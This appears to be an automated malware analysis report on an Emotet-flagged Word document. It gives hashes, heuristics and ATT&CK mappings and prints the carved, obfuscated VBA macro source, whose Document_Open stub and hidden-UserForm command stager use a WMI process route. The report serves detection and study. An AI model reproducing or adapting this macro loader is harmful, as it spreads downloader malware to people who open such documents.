Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f663b206e32202cd…

MALICIOUS

Office (OLE)

223.4 KB Created: 2020-08-27 06:19:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 3d3b26a0521d67d95c2e6c786aafa0f6 SHA-1: 808e177eadc429d817927b625794fe8f7783009e SHA-256: f663b206e32202cdb2b7fe26738d009a4c1fb76352cb8e9a46bd1a7bc6060bb3
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are indicative of malicious intent. The ClamAV detection 'Doc.Downloader.EmotetRed02226-9938639-0' strongly suggests this file is a downloader. The VBA code is heavily obfuscated, making it difficult to determine the exact payload, but the overall pattern points to a downloader attempting to fetch and execute additional malware.

Heuristics 7

  • ClamAV: Doc.Downloader.EmotetRed02226-9938639-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.EmotetRed02226-9938639-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9269 bytes
SHA-256: 5ad781e2927888595039b9f20ef44cee5346bb7fd776c312268ab0618a496c63
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "X7gtt920jht0sb"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Hhieorzvjz9zclwrh.Fzhq303tnbn9
End Sub


Attribute VB_Name = "Hhieorzvjz9zclwrh"
Attribute VB_Base = "0{5635837F-4608-4FF9-9E5F-C86D50FC858B}{BCA47E31-EF9B-48F8-8C8E-29486E3D88FB}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Fzhq303tnbn9()
   On Error Resume Next
         wwwwww = Zyrc / Sin(ULZZ9) * BmtF * pLiA30s + jazi + PhzY / TpZa1L / 830 * (DdY / CLng(zTHb2251X) - AWdYTT5J0 / Oct(812 + Sqr(hxS)))
         wwwwww = (MpBQ + Round(pxer0) / 70 / Hex(1614 - CLng(40679596)) - 9 + CBool(efCF1u1)) * BgJh - Fgwld45m6
Olago8_dlmyvic0 = 100
   On Error Resume Next
         wwwwww = Zyrc / Sin(ULZZ9) * BmtF * pLiA30s + jazi + PhzY / TpZa1L / 830 * (DdY / CLng(zTHb2251X) - AWdYTT5J0 / Oct(812 + Sqr(hxS)))
         wwwwww = (MpBQ + Round(pxer0) / 70 / Hex(1614 - CLng(40679596)) - 9 + CBool(efCF1u1)) * BgJh - Fgwld45m6
W9j8n438fsb8 = ChrW(Olago8_dlmyvic0 + (xw + 5 + jwb + 10))
   On Error Resume Next
         wwwwww = Zyrc / Sin(ULZZ9) * BmtF * pLiA30s + jazi + PhzY / TpZa1L / 830 * (DdY / CLng(zTHb2251X) - AWdYTT5J0 / Oct(812 + Sqr(hxS)))
         wwwwww = (MpBQ + Round(pxer0) / 70 / Hex(1614 - CLng(40679596)) - 9 + CBool(efCF1u1)) * BgJh - Fgwld45m6
Nddbmi44dcqhs388 = "(hsv 32(()hq gq721g()))) hsu0())(hsv 32(()hq gq721g()))) hsu0())w(hsv 32(()hq gq721g()))) hsu0())i(hsv 32(()hq gq721g()))) hsu0())nm(hsv 32(()hq gq721g()))) hsu0())(hsv 32(()hq gq721g()))) hsu0())gm(hsv 32(()hq gq721g()))) hsu0())t(hsv 32(()hq gq721g()))) hsu0())(hsv 32(()hq gq721g()))) hsu0())" + W9j8n438fsb8 + "(hsv 32(()hq gq721g()))) hsu0())(hsv 32(()hq gq721g()))) hsu0()):(hsv 32(()hq gq721g()))) hsu0())w(hsv 32(()hq gq721g()))) hsu0())in(hsv 32(()hq gq721g()))) hsu0())(hsv 32(()hq gq721g()))) hsu0())3(hsv 32(()hq gq721g()))) hsu0())2(hsv 32(()hq gq721g()))) hsu0())_(hsv 32(()hq gq721g()))) hsu0())" + Hhieorzvjz9zclwrh.Otbmu_949e6d + "(hsv 32(()hq gq721g()))) hsu0())ro(hsv 32(()hq gq721g()))) hsu0())(hsv 32(()hq gq721g()))) hsu0())ce(hsv 32(()hq gq721g()))) hsu0())s(hsv 32(()hq gq721g()))) hsu0())s(hsv 32(()hq gq721g()))) hsu0())"
   On Error Resume Next
         wwwwww = Zyrc / Sin(ULZZ9) * BmtF * pLiA30s + jazi + PhzY / TpZa1L / 830 * (DdY / CLng(zTHb2251X) - AWdYTT5J0 / Oct(812 + Sqr(hxS)))
         wwwwww = (MpBQ + Round(pxer0) / 70 / Hex(1614 - CLng(40679596)) - 9 + CBool(efCF1u1)) * BgJh - Fgwld45m6
Kgsii7mmlv_an = C4bl74lmyg7ki1s21z(Nddbmi44dcqhs388)
   On Error Resume Next
         wwwwww = Zyrc / Sin(ULZZ9) * BmtF * pLiA30s + jazi + PhzY / TpZa1L / 830 * (DdY / CLng(zTHb2251X) - AWdYTT5J0 / Oct(812 + Sqr(hxS)))
         wwwwww = (MpBQ + Round(pxer0) / 70 / Hex(1614 - CLng(40679596)) - 9 + CBool(efCF1u1)) * BgJh - Fgwld45m6
   On Error Resume Next
         wwwwww = Zyrc / Sin(ULZZ9) * BmtF * pLiA30s + jazi + PhzY / TpZa1L / 830 * (DdY / CLng(zTHb2251X) - AWdYTT5J0 / Oct(812 + Sqr(hxS)))
         wwwwww = (MpBQ + Round(pxer0) / 70 / Hex(1614 - CLng(40679596)) - 9 + CBool(efCF1u1)) * BgJh - Fgwld45m6
U5u4sd_g4rodmf = Hhieorzvjz9zclwrh.Gfrte5m_z9i9.ControlTipText
   On Error Resume Next
         wwwwww = Zyrc / Sin(ULZZ9) * BmtF * pLiA30s + jazi + PhzY / TpZa1L / 830 * (DdY / CLng(zTHb2251X) - AWdYTT5J0 / Oct(812 + Sqr(hxS)))
         wwwwww = (MpBQ + Round(pxer0) / 70 / Hex(1614 - CLng(40679596)) - 9 + CBool(efCF1u1)) * BgJh - Fgwld45m6
Ygo90brrscpkan = Gno5mcelnwbj2o + (Kgsii7mmlv_an + W9j8n438fsb8 + Hhieorzvjz9zclwrh.Wcps6tmb6ko4qn.ControlTipText + U5u4sd_g4rodmf)
   On Error Resume Next
         wwwwww = Zyrc / Sin(ULZZ9) * BmtF * pLiA30s + jazi + PhzY / TpZa1L / 830 * (DdY / CLng(zTHb2251X) - AWdYTT5J0 / Oct(812 + Sqr(hxS)))
      
... (truncated)